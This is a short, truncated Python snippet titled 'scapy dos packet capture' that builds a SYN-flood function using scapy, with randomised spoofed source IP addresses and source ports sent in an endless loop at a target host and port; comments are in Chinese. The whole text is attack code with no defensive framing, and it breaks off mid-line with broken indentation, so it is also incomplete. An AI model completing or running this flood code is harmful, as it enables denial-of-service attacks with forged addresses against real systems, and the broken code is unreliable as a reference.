scapy dos packet capture

    import random
    from scapy.all import *  # scapy模块
    import sys
    import threading
    import random
    
    global i
    
    
    def synFlooi(tgt, dPort, k):  # 自定义函数
    i = 1
    while True:
        srcList = [
            '192' + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(
                random.randrange(254)),
            '10.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254))]
        # 设置源ip地址
        sPort = random.randrange(1024, 65535)  # 设置端口
        index = ran